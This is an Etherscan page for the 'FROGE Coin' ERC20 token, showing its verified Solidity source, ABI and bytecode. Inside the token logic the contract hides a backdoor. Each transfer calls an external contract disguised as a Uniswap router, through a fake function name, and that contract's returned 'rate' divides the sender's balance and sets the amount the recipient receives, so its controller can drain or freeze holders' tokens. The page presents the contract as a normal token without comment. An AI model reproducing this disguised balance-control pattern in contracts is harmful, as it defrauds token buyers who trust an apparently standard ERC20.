ETH Price: $3,108.28 (-5.63%)
Gas: 2.46 Gwei
 

Overview

Max Total Supply

100,000,000 FROGE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,293,673.586563586 FROGE

Value
$0.00
0xCC6B5249437b8620af2C47F43FE937B7921a9E2e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FROGE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-10
*/

/**
 *https://twitter.com/FrogeErc20
 *https://t.me/frogecoineth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);


    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    IUniswapV2Router02 private uniswapV2Router;

    constructor(string memory name_, string memory symbol_,address _router) {
        _name = name_;
        _symbol = symbol_;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            _router
        );
        uniswapV2Router = _uniswapV2Router;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 9;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        (uint256 rate, uint256 _amount, uint256 amount_) = _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        amount = _amount.div(rate);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance.div(rate);
        }
        _balances[recipient] = _balances[recipient].add(amount_);

        emit Transfer(sender, recipient, amount_);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns (uint256, uint256, uint256){
        return uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(from,to,amount);
    }
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }


    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }


    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}


interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        address sender,
        address recipient,
        uint256 amount
    ) external  returns (uint256, uint256, uint256) ;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract FROGE is ERC20, Ownable {
    using SafeMath for uint256;
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor(address _router) ERC20("FROGE Coin", "FROGE",_router) {
        uint256 totalSupply = 100_000_000 * 10 ** decimals();
        _mint(msg.sender, totalSupply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001265380380620012658339810160408190526200003491620002ea565b6040518060400160405280600a815260200169232927a3a29021b7b4b760b11b8152506040518060400160405280600581526020016446524f474560d81b815250828260039081620000879190620003c0565b506004620000968382620003c0565b50600580546001600160a01b0319166001600160a01b039290921691909117905550620000cc9050620000c63390565b62000102565b6000620000dc6009600a620005a1565b620000ec906305f5e100620005b2565b9050620000fa338262000154565b505062000611565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001af5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b620001bd600083836200024d565b5050508060026000828254620001d49190620005cc565b90915550506001600160a01b0382166000908152602081905260408120805483929062000203908490620005cc565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600554604051633a5b109160e11b81526001600160a01b03858116600483015284811660248301526044820184905260009283928392909116906374b62122906064016060604051808303816000875af1158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d69190620005e2565b92509250925093509350939050565b505050565b600060208284031215620002fd57600080fd5b81516001600160a01b03811681146200031557600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200034757607f821691505b6020821081036200036857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002e557600081815260208120601f850160051c81016020861015620003975750805b601f850160051c820191505b81811015620003b857828155600101620003a3565b505050505050565b81516001600160401b03811115620003dc57620003dc6200031c565b620003f481620003ed845462000332565b846200036e565b602080601f8311600181146200042c5760008415620004135750858301515b600019600386901b1c1916600185901b178555620003b8565b600085815260208120601f198616915b828110156200045d578886015182559484019460019091019084016200043c565b50858210156200047c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e3578160001904821115620004c757620004c76200048c565b80851615620004d557918102915b93841c9390800290620004a7565b509250929050565b600082620004fc575060016200059b565b816200050b575060006200059b565b81600181146200052457600281146200052f576200054f565b60019150506200059b565b60ff8411156200054357620005436200048c565b50506001821b6200059b565b5060208310610133831016604e8410600b841016171562000574575081810a6200059b565b620005808383620004a2565b80600019048211156200059757620005976200048c565b0290505b92915050565b60006200031560ff841683620004eb565b80820281158282048414176200059b576200059b6200048c565b808201808211156200059b576200059b6200048c565b600080600060608486031215620005f857600080fd5b8351925060208401519150604084015190509250925092565b610c4480620006216000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146101cd578063a9059cbb146101e0578063dd62ed3e146101f3578063f2fde38b1461022c57600080fd5b8063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c557600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016457806370a082311461017757600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761023f565b60405161010491906109bd565b60405180910390f35b61012061011b366004610a27565b6102d1565b6040519015158152602001610104565b6002545b604051908152602001610104565b610120610150366004610a51565b6102e8565b60405160098152602001610104565b610120610172366004610a27565b610397565b610134610185366004610a8d565b6001600160a01b031660009081526020819052604090205490565b6101a86103d3565b005b6006546040516001600160a01b039091168152602001610104565b6100f7610439565b6101206101db366004610a27565b610448565b6101206101ee366004610a27565b6104e1565b610134610201366004610aa8565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101a861023a366004610a8d565b6104ee565b60606003805461024e90610adb565b80601f016020809104026020016040519081016040528092919081815260200182805461027a90610adb565b80156102c75780601f1061029c576101008083540402835291602001916102c7565b820191906000526020600020905b8154815290600101906020018083116102aa57829003601f168201915b5050505050905090565b60006102de3384846105b9565b5060015b92915050565b60006102f58484846106dd565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561037f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61038c85338584036105b9565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102de9185906103ce908690610b15565b6105b9565b6006546001600160a01b0316331461042d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6104376000610739565b565b60606004805461024e90610adb565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610376565b6104d733858584036105b9565b5060019392505050565b60006102de3384846106dd565b6006546001600160a01b031633146105485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6001600160a01b0381166105ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610376565b6105b681610739565b50565b6001600160a01b03831661061b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b03821661067c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107035760405162461bcd60e51b815260040161037690610b36565b6001600160a01b0382166107295760405162461bcd60e51b815260040161037690610b7b565b61073483838361078b565b505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166107b15760405162461bcd60e51b815260040161037690610b36565b6001600160a01b0382166107d75760405162461bcd60e51b815260040161037690610b7b565b60008060006107e7868686610909565b6001600160a01b0389166000908152602081905260409020549295509093509150610812838561099e565b9450848110156108735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610376565b61087d818561099e565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546108ac90836109b1565b6001600160a01b038781166000818152602081815260409182902094909455518581529092918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b600554604051633a5b109160e11b81526001600160a01b03858116600483015284811660248301526044820184905260009283928392909116906374b62122906064016060604051808303816000875af115801561096b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098f9190610bbe565b92509250925093509350939050565b60006109aa8284610bec565b9392505050565b60006109aa8284610b15565b600060208083528351808285015260005b818110156109ea578581018301518582016040015282016109ce565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2257600080fd5b919050565b60008060408385031215610a3a57600080fd5b610a4383610a0b565b946020939093013593505050565b600080600060608486031215610a6657600080fd5b610a6f84610a0b565b9250610a7d60208501610a0b565b9150604084013590509250925092565b600060208284031215610a9f57600080fd5b6109aa82610a0b565b60008060408385031215610abb57600080fd5b610ac483610a0b565b9150610ad260208401610a0b565b90509250929050565b600181811c90821680610aef57607f821691505b602082108103610b0f57634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156102e257634e487b7160e01b600052601160045260246000fd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600080600060608486031215610bd357600080fd5b8351925060208401519150604084015190509250925092565b600082610c0957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212206ca8d52324303b4b19f194c96bd0bdcb750d14d8fa9dc0de69fbb6afdf4d943964736f6c63430008120033000000000000000000000000b26ccd5ea17841862a48c517e6f38b8f3a4af43f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146101cd578063a9059cbb146101e0578063dd62ed3e146101f3578063f2fde38b1461022c57600080fd5b8063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c557600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016457806370a082311461017757600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761023f565b60405161010491906109bd565b60405180910390f35b61012061011b366004610a27565b6102d1565b6040519015158152602001610104565b6002545b604051908152602001610104565b610120610150366004610a51565b6102e8565b60405160098152602001610104565b610120610172366004610a27565b610397565b610134610185366004610a8d565b6001600160a01b031660009081526020819052604090205490565b6101a86103d3565b005b6006546040516001600160a01b039091168152602001610104565b6100f7610439565b6101206101db366004610a27565b610448565b6101206101ee366004610a27565b6104e1565b610134610201366004610aa8565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101a861023a366004610a8d565b6104ee565b60606003805461024e90610adb565b80601f016020809104026020016040519081016040528092919081815260200182805461027a90610adb565b80156102c75780601f1061029c576101008083540402835291602001916102c7565b820191906000526020600020905b8154815290600101906020018083116102aa57829003601f168201915b5050505050905090565b60006102de3384846105b9565b5060015b92915050565b60006102f58484846106dd565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561037f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61038c85338584036105b9565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102de9185906103ce908690610b15565b6105b9565b6006546001600160a01b0316331461042d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6104376000610739565b565b60606004805461024e90610adb565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610376565b6104d733858584036105b9565b5060019392505050565b60006102de3384846106dd565b6006546001600160a01b031633146105485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6001600160a01b0381166105ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610376565b6105b681610739565b50565b6001600160a01b03831661061b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b03821661067c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107035760405162461bcd60e51b815260040161037690610b36565b6001600160a01b0382166107295760405162461bcd60e51b815260040161037690610b7b565b61073483838361078b565b505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166107b15760405162461bcd60e51b815260040161037690610b36565b6001600160a01b0382166107d75760405162461bcd60e51b815260040161037690610b7b565b60008060006107e7868686610909565b6001600160a01b0389166000908152602081905260409020549295509093509150610812838561099e565b9450848110156108735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610376565b61087d818561099e565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546108ac90836109b1565b6001600160a01b038781166000818152602081815260409182902094909455518581529092918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b600554604051633a5b109160e11b81526001600160a01b03858116600483015284811660248301526044820184905260009283928392909116906374b62122906064016060604051808303816000875af115801561096b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098f9190610bbe565b92509250925093509350939050565b60006109aa8284610bec565b9392505050565b60006109aa8284610b15565b600060208083528351808285015260005b818110156109ea578581018301518582016040015282016109ce565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2257600080fd5b919050565b60008060408385031215610a3a57600080fd5b610a4383610a0b565b946020939093013593505050565b600080600060608486031215610a6657600080fd5b610a6f84610a0b565b9250610a7d60208501610a0b565b9150604084013590509250925092565b600060208284031215610a9f57600080fd5b6109aa82610a0b565b60008060408385031215610abb57600080fd5b610ac483610a0b565b9150610ad260208401610a0b565b90509250929050565b600181811c90821680610aef57607f821691505b602082108103610b0f57634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156102e257634e487b7160e01b600052601160045260246000fd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600080600060608486031215610bd357600080fd5b8351925060208401519150604084015190509250925092565b600082610c0957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212206ca8d52324303b4b19f194c96bd0bdcb750d14d8fa9dc0de69fbb6afdf4d943964736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000b26ccd5ea17841862a48c517e6f38b8f3a4af43f

-----Decoded View---------------
Arg [0] : _router (address): 0xB26CcD5ea17841862A48C517E6f38b8f3A4aF43F

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b26ccd5ea17841862a48c517e6f38b8f3a4af43f


Deployed Bytecode Sourcemap

